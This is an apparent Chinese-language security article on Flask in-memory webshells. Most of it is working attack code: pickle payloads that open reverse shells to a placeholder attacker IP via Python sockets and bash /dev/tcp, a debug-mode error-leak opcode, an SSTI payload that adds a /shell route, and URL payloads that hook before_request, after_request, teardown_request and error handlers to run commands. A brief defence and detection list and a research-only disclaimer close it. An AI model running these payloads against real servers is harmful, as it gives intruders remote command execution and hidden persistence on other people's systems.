无回显不出网:debug报错到新版Flask内存马
字数 928 2025-08-03 16:44:15
Flask内存马技术深度解析
一、基础概念
Flask内存马是一种在Flask应用中动态注入恶意路由或处理函数的技术,无需写入文件即可实现持久化控制。根据网络环境和调试模式的不同,攻击者可以采用多种技术手段。
二、不同场景下的攻击技术
1. 无回显但出网环境
反弹Shell技术
Python反弹Shell实现:
import pickle
import os
class tttang(object):
def __reduce__(self):
a="""
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("攻击者IP",7777));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'"""
return (os.system,(a,))
a = tttang()
pickle.loads(pickle.dumps(a))
简化版反弹Shell:
import pickle
import os
class tttang(object):
def __reduce__(self):
a='__import__(\"os\").popen(\'bash -c \"bash -i >& /dev/tcp/攻击者IP/2333 0>&1\"\').read()'
return (eval,(a,))
a = tttang()
pickle.loads(pickle.dumps(a))
2. 不出网但Debug模式
利用Flask的Debug模式,通过报错信息带出命令执行结果:
from urllib.parse import quote
exc = "raise Exception(__import__('os').popen('whoami').read())"
opcode = f'''cconfig
notadmin
(S'admin'
S'yes'
u0(cconfig
backdoor
(S'exec("{exc}")'
lo.'''
print(quote(opcode))
3. 不出网且非Debug模式
环境准备
from flask import Flask,request
from flask import render_template_string
app = Flask(__name__)
@app.route('/')
def hello_world():
return 'Hello World'
@app.route('/test',methods=['GET', 'POST'])
def test():
eval(request.args.get('cmd'))
return "ook"
if __name__ == '__main__':
app.run()
三、Flask内存马技术详解
1. 旧版本内存马技术
{{url_for.__globals__['__builtins__']['eval'](\"app.add_url_rule('/shell', 'myshell', lambda :__import__('os').popen(_request_ctx_stack.top.request.args.get('cmd')).read())\",{'_request_ctx_stack':url_for.__globals__['_request_ctx_stack'],'app':url_for.__globals__['current_app']})}}
2. 新版本绕过技术
@app.before_request
技术原理:
before_request装饰器用于在请求处理前执行特定函数- 底层实现:
self.before_request_funcs.setdefault(None, []).append(f)
Payload:
http://127.0.0.1:5000/test?cmd=app.before_request_funcs.setdefault(None, []).append(lambda :__import__('os').popen(request.args.get('mixian')).read())
@app.after_request
技术原理:
- 在请求后执行注册的函数
- 可以构造全局变量,利用
make_response创建响应
Payload:
http://127.0.0.1:5000/test?cmd=app.after_request_funcs.setdefault(None, []).append(lambda resp: CmdResp if request.args.get('cmd') and exec("global CmdResp;CmdResp=__import__('flask').make_response(__import__('os').popen(request.args.get('cmd')).read())")==None else resp)
@teardown_request
技术原理:
- 在每次请求后执行,接受一个错误信息参数
- 底层实现与
after_request类似
Payload:
http://127.0.0.1:5000/test?cmd=app.teardown_request_funcs.setdefault(None, []).append(lambda a:__import__('os').system('dir').read())
@errorhandler
技术原理:
- 通过
register_error_handler注册错误处理函数 - 可以绕过检查直接覆盖
_get_exc_class_and_code和error_handler_spec
Payload:
http://127.0.0.1:5000/test?cmd=exec("global%20exe_class;global%20code;exc_class,%20code%20=%20app._get_exc_class_and_code(404);app.error_handler_spec[None][code][exc_class]%20=%20lambda:__import__(%27os%27).popen(%27dir%27).read()")
四、防御建议
- 禁用Flask的Debug模式在生产环境
- 对用户输入进行严格过滤和验证
- 限制eval等危险函数的使用
- 定期检查应用的路由和处理器列表
- 使用最新版本的Flask框架
- 实施最小权限原则,限制应用运行权限
五、检测方法
- 检查
before_request_funcs、after_request_funcs等列表中的可疑函数 - 监控异常的错误处理器注册
- 审计所有动态添加的路由规则
- 检查是否有异常的全局变量设置
以上技术仅供安全研究和防御参考,请勿用于非法用途。